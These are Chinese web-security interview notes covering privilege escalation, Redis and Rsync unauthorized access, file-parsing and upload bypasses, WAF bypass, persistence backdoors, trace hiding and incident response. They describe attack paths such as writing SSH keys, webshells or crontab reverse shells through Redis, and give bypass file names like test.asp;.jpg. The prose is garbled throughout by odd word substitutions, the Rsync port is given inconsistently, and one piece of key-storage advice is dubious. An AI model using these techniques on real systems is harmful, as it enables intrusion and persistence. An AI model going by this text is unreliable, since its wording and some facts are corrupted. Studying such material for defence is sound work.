横向越权:横向越权指的是攻击者实验访问与他拥有雷同权限的用户的资源
纵向越权:纵向越权指的是一个低级别攻击者实验访问高级别用户的资源
对于纵向越权,我们可以通过设置用户脚色,为不同的脚色提供不同的权限来避免。
为了防止横向越权,我们可以利用缓存来举行辅助,当登录成功大概举行操纵时,我们在缓存中存储一对由用户名和一个唯一的数字构成的数据(token),然后返回放入的唯一数据。在重置暗码时我们的参数不仅需要用户名和暗码还需要前面生成的唯一数字,根据用户名在缓存中取出对应的数字,假如取出的数字和参数中传入的想等,则证实重置的当前用户的暗码,否则不是,且不予以重置
越权毛病定义及分类
越权,从字面意思不难理解,主要有以下几种大概:
1、未授权访问:本来没有账号(即没有某个功能权限),但是通过越权操纵,获取了某个功能权限;
2、水平越权:本来有个账号(即只能操纵自己的数据,比如增删改查),但是通过越权操纵,能操纵其他划一权限账号的数据。
3、垂直越权:本来有个账号只有小权限,但是通过越权操纵,获取了大权限
防备越权
前后端同时对用户输入信息举行校验,双重验证机制
执行关键操纵前必须验证用户身份,验证用户是否具备操纵数据的权限
特殊敏感操纵可以让用户再次输入暗码或其他的验证信息。
可以从用户的加密认证 cookie 中获取当前用户 id,防止攻击者对其修改。或在 session、cookie 中加入不可猜测、不可猜解的 user 信息。
直接对象引用的加密资源ID,防止攻击者罗列ID,敏感数据特殊化处理
永世不要相信来自用户的输入,对于可控参数举行严酷的检查与过滤
未授权访问

未授权访问毛病,是在攻击者没有获取到登录权限或未授权的环境下,大概不需要输入暗码,即可通过直接输入网站控制台主页面地址,大概不允许检察的链接便可举行访问,同时举行操纵。

  • MongoDB 未授权访问毛病
  • Memcached 未授权访问毛病CVE-2013-7239
    4.JBOSS 未授权访问毛病
    5.VNC 未授权访问毛病
    6.Docker 未授权访问毛病
    7.ZooKeeper 未授权访问毛病
8.Rsync 未授权访问毛病

Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,假如在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。
毛病描述:rsync是Linux系统下的数据镜像备份工具,利用快速增量备份工具Remote Sync可以远程同步,支持本地复制,大概与其他ssh,rsync主机同步。也就是说假如你可以连接目标IP的rsync,那么你就可以上传恶意文件或下载目标IP上的恣意文件(rsync默认是root权限),rsync默认端口号是873
毛病利用:rsync默认匿名访问模式,因此我们就可以不需要认证直接连接rsync,这样也就形成了该毛病,当然假如有认证,可以试试弱口令。
防御方法:

配置认证用户大概暗码;host allow/deny 来控制接入源IP;uid和gid,利用足够但最小权限的账号举行;须要时间可以配置只读;非须要应该仅限制配置路径下可访问
防御手段

账户认证:正确配置认证用户名及暗码。
-权限控制:利用合理的权限。
-网络访问控制:控制接入源ip。
-数据加密传输等
2.Redis 未授权访问毛病

毛病简介
Redis是一个开源的利用ANSI C语言编写、支持网络、可基于内存亦可长期化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操纵主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
影响版本:
Redis 2.x,3.x,4.x,5.x
毛病利用
利用姿势1,redis写入ssh公钥,获取操纵系统权限
原理:利用了redis数据库的备份功能,当redis以root身份运行,利用Redis的config set命令,只要内容为SSH公钥内容,文件路径满意公钥存放的位置,就可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
利用姿势2,直接向Web目录中写webshell
原理:
利用了redis数据库的备份功能,在知道了网站路径以后,利用redis的CONFIG set命令,将文件内容为一句话木马,文件路径为网站根目录的wenshell写入目标服务器。
条件条件:
redis可以连接,且知道web目录路径。
利用姿势3,linux操持任务执行命令反弹shell:
原理:
起首同样利用了redis数据库的备份功能,在我们不知道网站绝对路径的时间,可以利用linux的定时任务特性:Linux会监测/etc/crontab的内容,当我们将反弹shell的命令利用redis备份到/etc/crontab中,就可以得到反弹shell。
修复建议
1、禁止外部访问Redis服务端口
2、禁止利用root权限启动redis服务
3、配置安全组,限制可连接Redis服务器的IP
防御手段
-禁止利用root权限启动redis服务。
-对redis访问启动暗码认证。
-添加IP访问限制,并更改默认6379端口。
目录遍历

毛病描述
目录欣赏毛病是由于网站存在配置缺陷,存在目录可欣赏毛病,这会导致网站许多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以更容易得到网站权限,导致网站被黑。
什么是目录遍历?

目录遍历(也称为文件路径遍历)是一个Web安全毛病,攻击者可以利用该毛病读取运行应用程序的服务器上的恣意文件。这大概包括应用程序代码和数据,后端系统的根据以及敏感的操纵系统文件。在某些环境下,攻击者大概能够在服务器上写入恣意文件,从而允许他们修改应用程序数据或行为,并最终完全控礼服务器。
如何防范目录遍历攻击

防止文件路径遍历毛病的最有效方法是避免将用户提供的输入完全传递给文件系统API。可以重写许多执行此操纵的应用程序功能,以更安全的方式提供雷同的行为。
假如认为不可避免的是将用户提供的输入传递给文件系统API,则应同时利用两层防御来防止攻击:
应用程序应在处理之前验证用户输入。理想环境下,验证应与允许值的白名单举行比较。假如所需的功能无法做到这一点,则验证应验证输入内容仅包含允许的内容,例如纯字母数字字符。
验证提供的输入后,应用程序应将输入附加到根本目录,并利用平台文件系统API规范化路径。它应验证规范化路径以预期的根本目录开头。
一般是没有i ndex.php 就大概出现像这样的一个目录遍历的毛病,但是一般环境下 index 文件都会有的。
那么怎么去找目录遍历毛病,一般是输入到文件目录,看页面相应。比如站点上的一张图片的的连接为:http://192.168.24.190/Images/185_01.jpg,我们把图片删除,只保存目录:http://192.168.24.190/Images/,末了欣赏器看看:目录出现
毛病防范

如今存在该毛病的常见中央件为 Apache 和 IIS,以下列出其相关的修复方式:
IIS 中关闭目录欣赏功能:在 IIS 的网站属性中,勾去“目录欣赏”选项,重启 IIS。
Apache 中关闭目录欣赏功能:打开 Apache 配置文件 httpd.conf,查找“Options Indexes FollowSymLinks”,修改为 “ Options -Indexes FollowSymLinks” (减号表现取消),保存退出,重启Apache。
Nginx 中默认不会开启目录欣赏功能,若您发现当前已开启该功能,可以编辑 nginx.conf 文件,删除如下两行:autoindex on;autoindex_exact_size on;,然后重启Nginx。、
发掘目录遍历毛病有几种方法;
可以利用 Web 毛病扫描器扫描 Web 应用举行检测;
可以在测试时去掉文件名,只访问目录路径;
也可通过搜刮引擎搜刮,网站标题包含 “index of” 关键词的网站举行访问
文件解析

文件解析毛病主要由于网站管理员操纵不当大概 Web 服务器自身的毛病,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种环境下解释成脚本文件执行。
比如网站管理员配置不当,导致php2、phtml、ascx等等这些文件也被当成脚本文件执行了。甚至某些环境下管理员错误的服务器配置导致.html、.xml等静态页面后缀的文件也被当成脚本文件执行。
但是,大部分的解析毛病还是由于web服务器自身的毛病,导致特殊文件被当成脚本文件执行了。
IIS解析毛病

目录解析毛病(/test.asp/1.jpg)
在 IIS5.x/6.0 中,在网站下创建文件夹的名字为*.asp、.asa、.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了
文件名解析毛病(test.asp;.jpg)
在 IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。尚有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件举行校验,只是校验其后缀名。所以我们只要上传 .asp;.jpg、.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,而且服务器会把它当成asp文件执行。
畸形解析毛病(test.jpg/*.php)
微软发布了IIS7.0修补了IIS6.0的解析毛病,没想到IIS7.0爆出更严重的畸形解析毛病,于是微软急遽发布了IIS7.5
在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片内里写入下面的代码
将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片内里的代码就会被执行。我们会神奇的发如今 /upload 目录下创建了一个一句话木马文件 shell.php 。
其他解析毛病

在windows环境下,xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格大概点绕过黑名单。若上传成功,空格和点都会被windows自动消除。
Ngnix解析毛病

畸形解析毛病(test.jpg/*.php)
毛病原因:
php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
/etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行
这一毛病是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions 的引入,使得该毛病难以被成功利用。
为何是Nginx中的php才会有这一问题呢?因为Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。而如Apache等,会先看该文件是否存在,若存在则再决定该如何处理。cgi.fix_pathinfo是php具有的,若在php前便已正确判断了文件是否存在,cgi.fix_pathinfo便派不上用场了,这一问题自然也就不存在了。(IIS在这一点和Nginx是一样的,同样存在这一问题)
%00空字节代码解析毛病
原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
Apache解析毛病

文件名解析毛病
apache是从右到左开始判断解析,假如为不可辨认解析,就再往左判断。比如 xie.php.owf.rar .owf和.rar 这两种后缀是apache不可辨认的解析,apache就会把xie.php.owf.rar解析成 xie.php 。如何判断是不是正当的后缀就是这个毛病的利用关键,测试时可以实验上传一个 xie.php.rara.jpg.png…(把你知道的后缀都写上去)去测试是否是正当后缀。恣意不辨认的后缀,逐级向上辨认。
.htaccess文件
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户大概目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效条件条件为:
mod_rewrite 模块开启
AllowOverride All
文件包含

文件包含毛病的原理

文件包含毛病是一种常见的web范例毛病,因为许多脚本语言支持利用文件包含,也就是我们所说的文件包含函数,网站开发者常常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,条件条件就是我们需要有可读的权限才华读取这些文件 ,所以这样就会导致文件包含毛病
1.2文件包含毛病产生的原因

在网站的开发职员在开发网站的时间,会把常常重复利用的函数大概特定的页面写到单个文件中,需要利用的时间就直接调用此文件即可,而无需再次浪费时间再次编写,这种操纵通常被称为文件包含。
假如我们没有对文件的泉源举行严酷的审查,也就是程序员在编写代码的时间触犯的逻辑性的错误就大概会导致文件读取毛病和其它范例的毛病,我们已php为例,在php中常用的文函数有(include、require、include_once、require_once),后续会介绍其中的区别。
文件包含毛病攻击防范
检查服务器配置文件
过滤特殊符号
指定包含的文件 (白名单)
设置文件目录
原理

引入一段用户能控制的脚本或代码,并让服务器端执行 include()等函数通过动态变量的方式引入需要包含的文件;
用户能够控制该动态变量。
2、导致文件包含的函数
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,
3、本地文件包含
能够打开并包含本地文件的毛病,被称为本地文件包含毛病
弱口令毛病

弱口令也是安全毛病的一种,是指系统登录口令的设置强度不高,容易被攻击者猜到或
破解。
毛病原理
网站没有对登录接口实施防暴力破解的步伐,大概实施了不合理的步伐,如不安全的验证码,大概利用 token 防御暴力
防护方法
防御的主要思路是 加入人机辨认或多因素认证。对频率做限制,失败多少次,锁帐号,或封 IP
多因素认证 (影响用户体验,重要的系统可以采用)
验证码 (主流,偶尔也会影响用户体验)小站用户至上可以
频率做限制 (失败多少次,锁帐号,或封 IP (有绕过的风险,但攻击者成本很高,也是可行的防御方法)
安全加固及监控 或 IPS
token 偶尔可以防御些重放类的暴力破解,还能有防御 CSRF 的效果。python 的爬虫库可以抓取到到 token burpsuit 也可以配置从相应中提取 token 有肯定初级的防御效果但不做为主要。
不明确返回用户帐号是否存在,大概暗码错误等。用户 ID 和用户昵称最好分开。
禁常见的弱暗码.设置暗码定期修改策略
敏感信息泄露

描述:
敏感数据包括但不限于:口令、密钥、证书、会话标识、License、隐私数据(如短消息的内容)、授权根据、个人数据(如姓名、住址、电话等)等,在程序文件、配置文件、日志文件、备份文件及数据库中都有大概包含敏感数据。
毛病修复:

安全建议大概修复方案:
禁止在代码中存储敏感数据:禁止在代码中存储如数据库连接字符串、口令和密钥之类的敏感数据,这样容易导致泄密。用于加密密钥的密钥可以硬编码在代码中。
禁止密钥或帐号的口令以明文形式存储在数据库大概文件中:密钥或帐号的口令必须颠末加密存储。例外环境,假如Web容器的配置文件中只能以明文方式配置连接数据库的用户名和口令,那么就不消强制遵照该规则,将该配置文件的属性改为只有属主可读写。
禁止在 cookie 中以明文形式存储敏感数据:cookie信息容易被窃取,只管不要在cookie中存储敏感数据;假如条件限制必须利用cookie存储敏感信息时,必须先对敏感信息加密再存储到cookie。
禁止在隐蔽域中存放明文形式的敏感数据。
禁止用自己开发的加密算法,必须利用公开、安全的标准加密算法。
禁止在日志中记录明文的敏感数据:禁止在日志中记录明文的敏感数据(如口令、会话标识jsessionid等), 防止敏感信息走漏。
禁止带有敏感数据的Web页面缓存:带有敏感数据的Web页面都应该禁止缓存,以防止敏感信息走漏或通过代理服务器上网的用户数据互窜问题。
重放攻击(短信轰炸)

重放攻击(Replay Attacks)又称重播攻击、回放攻击,是指攻击者发送一个目标主机已吸收过的包,来达到欺骗系统的目标,主要用于身份认证过程,破坏认证的正确性。重放攻击可以由发起者,也可以由拦截并重发该数据的敌方举行。攻击者利用网络监听大概其他方式盗取认证根据,之后再把它重新发给认证服务器
重放攻击的根本原理就是把从前窃听到的数据原封不动地重新发送给吸收方。许多时间,网络上传输的数据是加密过的,此时窃听者无法得到数据的准确意义。但假如他知道这些数据的作用,就可以在不知道数据内容的环境下通过再次发送这些数据达到愚弄吸收端的目标。例如,有的系统会将鉴别信息举行简单加密后举行传输,这时攻击者固然无法窃听暗码,但他们却可以起首截取加密后的口令然后将其重放,从而利用这种方式举行有效的攻击。再比如,假设网上存款系统中,一条消息表现用户支取了一笔存款,攻击者完全可以多次发送这条消息而偷窃存款。 [2]
防御方案

1、加随机数 2、加时间戳 3、加流水号
burpsuite简介
burpsuite作为web渗透较为常用的软件,有着9个比较常用的模块
proxy,target,intruder,
comparer,repeater,decoder,
extendere,sqlmap,csrf。
流量日志分析

你能大概说一下,比如数据包大概日志,你的分析思路是什么,以及你会用到哪些工具大概那些网站举行查询?
用流量监测的安全装备,比如天眼,检察报文,分析报文里和host和网站目录路径,检察是否可疑,利用微步查询host是否为恶意,利用wireshark对数据包深度分析
看一下请求的网站路径,源IP与目标ip地址,host字段的值以及发包内容等
工具有wearshark,网站的话微步在线等
文件上传和命令执行,有看过相关日志吗
文件:大概在系统有上传功能大概有文本编辑器,看一下保重是否有base64加密大概url加密,解码验证一下是否有恶意代码
系统日志:有没有web容器做了一些危险行为,比如bash反弹shell等
网络应用日志:有没有异常的网站文件,雷同webshell等,就有大概是命令执行
文件上传攻击特征?
能够上传文件的接口,应用程序对用户上传文件范例不校验大概校验不严酷可绕过,导致恣意范例文件上传,攻击者可上传webshell。
暴力破解加固方法?

1.添加强度较高的验证码,不易被破解。
2.修改暗码设置规则,提高用户的暗码强度。
3.同一账号登岸次数锁定,生成锁定日志。
4.定期排查弱口令
场景题

一台主机在内网举行横向攻击,你应该怎么做?

确定攻击泉源,是不是员工内部误操纵,比如询问运维是否有自动化轮训脚本
假如没有,确定是攻击,团结时间点,根据装备信息,看一下安全事件,进程,流量
找到问题主机,开始应急相应流程:预备,检测,遏制,根除,恢复,跟踪,具体的操 作要交给现场运维去处理。
什么是跨域,JSONP与CORS

什么是跨域?
跨域:指的是欣赏器不能执行其它网站的脚本,它是由欣赏器的同源策略造成的,是欣赏器的安全限制!
同源策略

同源策略:域名、协议、端口均雷同。
欣赏器执行JavaScript脚本时,会检查这个脚本属于那个页面,假如不是同源页面,就不会被执行。
JSONP跨域
只支持GET请求,不支持POST等其它请求,也不支持复杂请求,只支持简单请求。
CORS跨域
支持所有的请求,包含GET、POST、OPTOIN、PUT、DELETE等。既支持复杂请求,也支持简单请求。
JSONP与CORS的利用目标雷同,而且都需要服务端和客户端同时支持,但CORS的功能更加强大。
JSONP和CORS的优缺点


  • JSONP的主要优势在于对欣赏器的支持较好;固然如今主流欣赏器都支持CORS,但IE9及以下不支持CORS。
  • JSONP只能用于获取资源(即只读,雷同于GET请求);CORS支持所有范例的HTTP请求,功能完善。
  • JSONP只会发一次请求;而对于复杂请求,CORS会发两次请求。
应用场景

假如需要兼容IE低版本欣赏器,无疑,JSONP。
假如需要对服务端资源举行操纵,无疑,CORS。
其他环境的话,根据自己的对需求的分析来决定和利用。
如何检测webshell

静态检测
静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell,
动态检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时候表现出来的特征,我们称为动态特征。
日志检测
利用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。
语法检测
语法语义分析形式,是根据php语言扫描编译的实现方式,举行剥离代码、注释,分析变量、函数、字符串、语言结构的分析方式,来实现关键危险函数的捕捉方式。这样可以完美解决漏报的环境。但误报上,仍存在问题。
内网横行移动攻击,怎么发现并解决

域内横向移动投不定在夏杂的内网攻击中被广泛利用的一种技术,尤其是在高级持续威胁(Advanced Persistent Threats,APT中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的根据,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
通过此类攻击手段,攻击者最终大概获取域控制器的访问权限,甚至完全控制基于Windows操纵系统的基础办法和与业务相关的关键账户。因此,必须利用强口令来掩护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改暗码,从而使攻击者获取的权限失效
隐蔽攻击痕迹的方法

答:
1.跳板
2.代理服务器
3.Tor
4.日志5.清除历史记录
6.粉碎文件
Linux中挖矿病毒应该如何处理

症状表现
服务器CPU资源利用一直处于100%的状态,通过 top 命令检察,发现可疑进程 kdevtmpfsi。通过 google搜刮,发现这是挖矿病毒。(CPU资源占用过高)
排查方法
第一步:检察 kdevtmpfsi 进程,利用 ps -ef | grep kdevtmpfsi 命令检察
PS:通过 ps -ef 命令查出 kdevtmpfsi 进程号,直接 kill -9 进程号并删除 /tmp/kdevtmpfsi 执行文件。但没有过1分钟进程又运行了,这时就能想到,kdevtmpfsi 有守护程序大概有操持任务。通过 crontab -l 检察是否有可疑的操持任务。
第二步:根据上面效果知道 kdevtmpfsi 进程号是 10393,利用 systemctl status 10393 发现 kdevtmpfsi 有守护进程
第三步:kill 掉 kdevtmpfsi 守护进程 kill -9 30903 30904,再 killall -9 kdevtmpfsi 挖矿病毒,末了删除 kdevtmpfsi 执行程序 rm -f /tmp/kdevtmpfsi。
过后检查
通过 find / -name “kdevtmpfsi” 命令搜刮是否尚有 kdevtmpfsi 文件
检察 Linux ssh 登岸审计日志。Centos 与 RedHat 审计日志路径为 /var/log/secure,Ubuntu 与 Debian 审计日志路径为 /var/log/auth.log。
检查 crontab 操持任务是否有可疑任务
后期防护

启用ssh公钥登岸,禁用暗码登岸。
云主机:完善安全策略,入口流量,一般只开放 80 443 端口就行,出口流量默认可以不限制,假如有需要根据需求来限制。物理机:可以通过硬件防火墙大概机器上iptables 来开放出入口流量规则。
本机不是直接需要对外提供服务,可以拒绝外网卡入口所有流量,通过 jumper 机器内网登岸业务机器。
公司有能力可以搭建安全扫描服务,定期检查机器上毛病并修复。
小结:以上例举几点步伐,不全。这里只是抛砖引玉的效果,更多的步伐需要团结自己业务现实环境,否则就空中楼阁。
钓鱼邮件攻击后的处理

钓鱼邮件:邮件钓鱼:起首将被钓的邮箱账号停用,利用管理员账号改密,向通讯录挚友发送致歉邮件并阐明环境将损失讲到最低,然后扫描毛病分析被钓的原因,假如是服务器就打补丁,假如是弱口令就改复杂的暗码等,在观察是否有后续影响,在针对企业内的员工安全培训,末了产出陈诉
如何发现Windows的病毒

检察服务器是否存在可疑账号、新增账号
检察服务器是否存在隐蔽账号、克隆账号
团结日志,检察守理员登录时间、用户名是否存在异常
检查异常端口、进程
检查端口连接环境,是否有远程连接、可疑连接。
检查服务器是否有异常的启动项。
检查操持任务
服务自启动
检察系统版本以及补丁信息
查找可疑目录及文件
病毒查杀
webshell 查杀
WEB 访问日志
都挖到过什么范例的逻辑毛病,举个例子

(1)付出毛病.
假如系统没有做好价格,数量,付出状态检测,那么就大概存在了付出毛病,通过修改对应的传参,例如商品的金额,以低价购买高价的物品。
(2)手机验证码绕过,恣意暗码重置。
此毛病也是由于系统没有做好检测,只是前端举行了校验,那么通过bp改包就可以绕过。
例如在修改暗码的地方,放包,抓取相应的状态,修改数值,例如0改为1,false改为true,在放包,就可以达到欺骗客户端的操纵。
这样的话,找寻大量的手机号,通过抓包改包导致了恣意暗码重置。
(3)邮箱验证码可伪造。
例如在找会暗码的地方,会让用户输入邮箱,然后给你发送一段链接,通过去邮箱检察链接,可以发现中央的一些值是加密的,可通过解密来发现,这个值是你的邮箱,大概一串随机值,那么就可以实验构造这串值,在另一个用户的地方找回暗码
冰蝎,上传木马是加密的,你是怎么发现的,如何解决

特征 行为 //自己想想
日志文件了解多少

日志文件是用于记录系统操纵事件的记录文件或文件集合,可分为事件日志和消息日志。具有处理历史数据、诊断问题的追踪以及理解系统的活动等重要作用。
Weblogic最明显的特征是什么

WebLogicServer简化了可移植及可扩展的应用系统的开发,并为其它应用系统和系统提供了丰富的互操纵性
Apt的攻击模子

从本质上讲,APT攻击并没有任何崭新的攻击手段,比如0 Day,比如钓鱼邮件,比如社工,比如木马,比如DDOS,都是存在已久的攻击手段,它只是多种攻击手段的战术性综合利用而已。
在宏观特点上应该具备如下特征:
高度目标性
高度潜伏性
高度突然性
高度规模性
高度危害性
高度复合性
共时并发性
目标实体化
攻击非对称化
系统中了永恒之蓝病毒怎么办

更新系统补丁
php/java反序列化毛病的原理?解决方案?

php中围绕着serialize(),unserialize()这两个函数,序列化就是把一个对象酿成可以传输的字符串,假如服务器能够吸收我们反序列化过的字符串、而且未颠末滤的把其中的变量直接放进这些魔术方法内里的话,就容易造成很严重的毛病了。
O:7:“chybeta”:1:{s:4:“test”;s:3:“123”;}
这里的O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会酿成字母a。7表现对象的名称有7个字符。"chybeta"表现对象的名称。1表现有一个值。{s:4:“test”;s:3:“123”;}中,s表现字符串,4表现该字符串的长度,"test"为字符串的名称,之后的雷同。当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
JAVA Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
JAVA 反序列化原理

答:(1)Java 序列化指 Java 对象转换为字节序列的过程
(2)Java 反序列化指字节序列恢复为 Java 对象的过程
(3) Commons-collections 爆出第一个毛病开始,Java 反
序列化毛病的事件就层出不穷。
(4)在 Java 中,利用 ObjectInputStream 的 readObject
方法举行对象读取
(5)可以深入了解 ysoserial 有哪些 gadgets
解析毛病

说说常见的中央件解析毛病利用方式
IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
IIS 7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭环境下也可利用。
空字节代码 xxx.jpg%00.php
Apache
上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀
你利用什么工具来判断系统是否存在后门

Chkrootkit
Rkhunter
如何绕过CDN获取目标网站真实IP,谈谈你的思路?

雷同phpinfo、网站信息
C段、子域名
历史解析记录
DDOS
zmap全网扫描辨认http头
网站域名管理员邮箱,注册过的域名等相关信息关联
全球ping
历史解析
讲一下linux脏牛的原理?

//自己查
工具

Nmap有几种扫描模式

nmap -SP ip 0/24 批量扫描一个网段的存活主机
nmap -sP ip.1-10 指定一个 IP 地址范围
nmap -sT 192.168.0.3 开放了哪些端口
nmap -sS 192.168.0.127 开放了哪些端口(潜伏扫描)
nmap -sU 192.168.0.127 开放了哪些端口(UDP)
nmap -sS -O 192.168.0.127 操纵系统辨认
WAF

WAF的根本原理,打仗过哪些各大厂商的WAF
WAF,又名Web应用防火墙,能够对常见的网站毛病攻击举行防护,例如SQL注入、XSS跨站等;如今WAF最根本的防护原理为特征规则匹配,将毛病特征与装备自身的特征库举行匹配比对,一旦掷中,直接阻断,这种方法能够有效防范已知的安全问题,但是需要一个强大的特征库支持,特征库需要包管定期更新及维护;但是对于零日毛病(未经公开的毛病),就需要装备创建自学习机制,能够根据网站的正常状态自动学习创建流量模子,以模子为基准判断网站是否遭受攻击。
国内:安恒,绿盟,启明星辰
国外:飞塔,梭子鱼,Imperva.
假如遇到waf的环境下如何举行sql注入/上传Webshell怎么做?请写出曾经绕过WAF的颠末(SQLi,XSS,上传毛病选一)
PHP上传,无法上传php、解析、后台没有办法拿到,只有一处点可以上传。通过Windows特性shell.php:DATA,是一个项目管理系统
WAF 绕过

答:
1 注释更换空格
2 字符集绕过
3 chunked 绕过
4 上传请求 multipart 绕过
5.参数污染
WAF主要怎么在防护中起作用,起到怎么样的防护效果?

Waf摆设在web前边,起着掩护web的作用,又称之为web边护防火墙,主要是对用户的请求举行扫描和过滤,确保用户请求有效且安全,反之,则阻断和隔离。通过检查HTTP流量,可以防止源自web应用程序的安全毛病(如SQL注入,跨站脚本攻击,文件包含和安全配置错误)的攻击。
WAF跟IDS的区别

IDS:入侵检测系统是一种对网络传输举行即时监视,在发现可疑传输时发出警报大概接纳自动反应步伐的网络安全装备。它与其他网络安全装备的不同之处便在于,IDS是一种积极自动的安全防护技术
IPS:入侵防御系统,是自动的;通过直接嵌入到网络流量中,利用一个网络端口吸收外部流量,颠末检查确认其中不包含异常活动或可疑内容,再通过另一个端口转发给内部系统(现实是对恶意流量举行洗濯)。
WAF:工作在web服务器之前,对基于HTTP协议的通信举行检测和辨认。对于HTTP请求举行快速安全检查,通过解析HTTP数据,在不同的字段分别在特征、规则等维度举行判断,判断的效果作为是否拦截的依据从而决定是否放行
http头上面有哪些注入方式?

这几个参数都可以修改然后注入
User-Agent:使得服务器能够辨认客户利用的操纵系统,游览器版本等.(许多数据量大的网站中会记录客户利用的操纵系统或欣赏器版本等存入数据库中)
Cookie:网站为了辨别用户身份、举行 session 跟踪而储存在用户本地终端上的数据(通常颠末加密).
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).
Clien-IP:同上,不做过多介绍.
Rerferer:欣赏器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
IDS和IPS的区别?
IDS入侵检测系统 (被动的)不转发任何流量利用多个监听端口
IPS入侵防御系统 (自动的)预先对入侵活动和攻击流量举行拦
IDS
IPS
安全装备都有哪些

安全装备:IDS入侵检测系统、IPS入侵防御系统、防火墙、WAF(web应用防火墙)、毛病扫描装备、安全隔离网闸、VPN装备、流量监控装备、防病毒网关(防毒墙)
常用端口

20,21 ftp;
22 SSH;
23 Telnet;
80 web,
80-89 web;
443 SSL心脏滴血以及一些web毛病测试;
1433 MSSQL;
1521 Oracle;
3306 MySQL
161 SNMP;
389 LDAP;
445 SMB;
512,513,514 Rexec;
873 Rsync未授权;
1025,111 NFS;(iSqlPlus Port:5560,7778); ,
3312/3311 kangle主机管理系统登岸 ,
3389 远程桌面;
4440 rundeck;
5432 PostgreSQL;
5900 vnc;
6082 varnish;
6379 redis未授权;
7001/7002 WebLogic默认弱口令/反序列;
7778 Kloxo主机控制面板登录;
8080 tomcat/WDCP主机管理系统,默认弱口令 ,
8080,8089,9090 JBOSS;
8888 amh/LuManager 主机管理系统默认端口 ,
9200,9300 elasticsearch;
11211 memcache未授权访问,
27017/27018 Mongodb未授权访问,
28017 mongodb统计页面 ,
50000 SAP命令执行 ,
50070/50030 hadoop默认端口未授权访问
权限维持的方法

windows:
1.更换系统文件类(shift 后门,放大镜后门)
2.修改注册表类自启动项、屏幕掩护程序注册表、用户登岸初始化、登录脚本、映
像挟制、影子账户、AppCertDlls 注册表项、AppInit_DLLs
注册表项、文件关联、用户登岸初始化、xx.Netsh Helper DLL
3.文件类
自启动文件夹、office Word StartUp 挟制
4.操持任务
schtasks 、WMI、bitsadmin
Linux
1.预加载型动态链接库后门
2.strace 后门
3.SSH 后门
4.SUID 后门
5.inetd 服务后门
6.协议后门
7.vim 后门
8.PAM 后门
9.进程注入
10.Rootkit
11.端口复用
MSF 权限维持1.Persistence 模块
2.Metsvc 模块
Powershell 权限维持
CS 权限维持
SC 命令
